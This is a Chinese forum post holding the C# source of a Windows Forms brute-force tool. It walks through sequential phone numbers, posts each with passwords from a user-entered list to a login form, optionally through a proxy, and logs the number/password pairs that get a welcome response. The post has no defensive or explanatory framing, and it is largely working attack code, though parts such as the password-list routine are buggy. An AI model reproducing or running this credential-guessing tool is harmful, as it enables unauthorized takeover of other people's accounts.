|
楼主 |
发表于 2013-1-29 19:36:39
|
显示全部楼层
[code=csharp]using System;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Runtime.InteropServices;
using System.Net;
using System.IO;
namespace VSPROJ
{
public partial class Form1 : Form
{
Boolean ChangePwd = false,RandPwd=true;
Boolean flag = false;
string CurrentNum,Mproxy,Mserver,CurrentPsw;
int Ptr,Pwdlen,Mode=0;
Thread td;
int Count=0, WrongPwd=0, Unused=0, Correct=0,WrongSrv=0,Unexpect=0;
private delegate void DspDelegate(TextBox Tb, string a);
private delegate void LstDelegate(string a, string b);
private void dsp(TextBox tb, string a)
{
if (tb.InvokeRequired)
{
DspDelegate dspdg1 = new DspDelegate(dsp);
tb.Invoke(dspdg1, new object[2] { tb, a });
}
else
{
tb.SuspendLayout();
tb.Text = a;
tb.ResumeLayout();
}
}
private void DispRightNum(string crnnum, string Psw)
{
if (Correctlst.InvokeRequired)
{
LstDelegate ls = new LstDelegate(DispRightNum);
Correctlst.Invoke(ls, new object[2] { crnnum, Psw });
}
else
{
int i;
Correctlst.Rows.Add(1);
i = Correctlst.RowCount;
Correctlst.SuspendLayout();
Correctlst.Rows[i - 1].Cells[0].Value = crnnum;
Correctlst.Rows[i - 1].Cells[1].Value = Psw;
Correctlst.ResumeLayout();
}
}
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
ServicePointManager.DefaultConnectionLimit = 1000;
Mserver = "http://www.baidu.com";
button2.Text = "启 动";
}
private string Post2Url2(string Data, string url,Encoding enco)
{
HttpHelps hp = new HttpHelps();
string res=hp.GetHttpRequestStringByNUll_Post(url, Data, enco);
return res;
}
private string Todata(string PhoneNum, string Psw)
{
string data="";
data = "acName=&userIp=&userName=";
data+=PhoneNum;
data += "&userType=2&_password=%E8%BE%93%E5%85%A5%E5%9B%BA%E5%AE%9A%E5%AF%86%E7%A0%81%2F%E4%B8%B4%E6%97%B6%E5%AF%86%E7%A0%81&password=";
data +=Psw.Substring(0,6);
data += "&button2=++";
return data;
}
public void MyThread()
{
Console.WriteLine("线程启动");
string data="";
string PROJInfo="";
int ret=0;
CurrentNum = textBox2.Text.ToString();
Ptr = 0;
string[] AllPwd =StorePwd();
Pwdlen = AllPwd.Length;
Serverfalse: while (flag)
{
CurrentPsw = AllPwd[Ptr];
Thread.Sleep(200);
data = Todata(CurrentNum, CurrentPsw);
dsp(textBox5, CurrentNum + ":"+CurrentPsw);
try
{
PROJInfo = Post2Url2(data,Mserver,Encoding.UTF8).Trim();
ret = check(PROJInfo);
Console.WriteLine(PROJInfo);
switch (ret)
{
case 1: RightNum();
//Console.WriteLine("right");
break;
case 2: WrongPWD();
//Console.WriteLine("wrong");
break;
case 3: WrongNum();
// Console.WriteLine("unused");
break;
default: WrongServer();
//Console.WriteLine("retry");
break;
}
Count += 1;
Total.Text = Count.ToString();
}
catch(Exception eee)
{
Unexpect++;
Unexpectdsp.Text = Unexpect.ToString();
MessageBox.Show(eee.ToString());
goto Serverfalse;
}
}
}
private object Post2Url()
{
throw new NotImplementedException();
}
private void NumPlus()
{
switch (Mode)
{
case 0:
{
CurrentNum = (Convert.ToInt64(CurrentNum) + 1).ToString();
dsp(textBox2, CurrentNum);
Ptr = 0;
break;
}
case 1:
{
MessageBox.Show("ddd");
break;
}
}
}
private void RightNum()
{
DispRightNum(CurrentNum,CurrentPsw);
Correct += 1;
Successdsp.Text = Correct.ToString();
NumPlus();
savelst();
return;
}
private void WrongPWD()
{
WrongPwd += 1;
WrongPwddsp.Text = WrongPwd.ToString();
if (Ptr == Pwdlen-1)
{
NumPlus();
}
else
Ptr += 1;
return;
}
private void WrongNum()
{
Unused += 1;
UnusedDsp.Text = Unused.ToString();
NumPlus();
}
private void WrongServer()
{
WrongSrv += 1;
WrongSrvDsp.Text = WrongSrv.ToString();
return;
}
private void button1_Click(object sender, EventArgs e)
{
if (textBox1.Text != "")
{
listBox1.Items.Add(textBox1.Text);
textBox1.Text = "";
}
else
MessageBox.Show("密码不能为空");
}
private void checkBox1_CheckedChanged(object sender, EventArgs e)
{
Mproxy = "";
if (checkBox1.Checked)
{
if (textBox3.Text != "")
{
Mproxy = textBox3.Text;
}
else
{
MessageBox.Show("请检查代理地址是否输入,本程序不验证代理服务器可用性");
checkBox1.Checked = false;
}
}
}
private void checkBox2_CheckedChanged(object sender, EventArgs e)
{
ChangePwd = false;
if (checkBox2.Checked)
{
if (textBox4.Text != "")
ChangePwd = true;
else
{
MessageBox.Show("没有设置密码");
checkBox2.Checked = false;
}
}
}
private string[] StorePwd()
{
int i,n;
n = listBox1.Items.Count;
string[] Pwd = new string[n];
for (i = 0; i <n; i++)
{
if (!listBox1.Items.Equals(""))
Pwd =listBox1.Items.ToString().Trim();
}
return Pwd;
}
private void button2_Click(object sender, EventArgs e)
{
Console.WriteLine(button2.Text);
if (button2.Text=="启 动")
{
if (listBox1.Items.Count > 0)
{
td = new Thread(new ThreadStart(MyThread));
flag = true;
td.Start();
button2.Text = "停 止";
setProp(false);
return;
}
else
{
MessageBox.Show("还没有添加密码");
return;
}
}
else
{
flag = false;
button2.Text = "启 动";
td.Abort();
setProp(true);
return;
}
}
private int check(string Info)
{
if (Info.Contains("欢迎"))
{
return 1;
}
if (Info.Contains("未注册") )
{
return 3;
}
if (Info.Contains("密码不正确"))
{
return 2;
}
return 0;
}
}
}[/code] |
|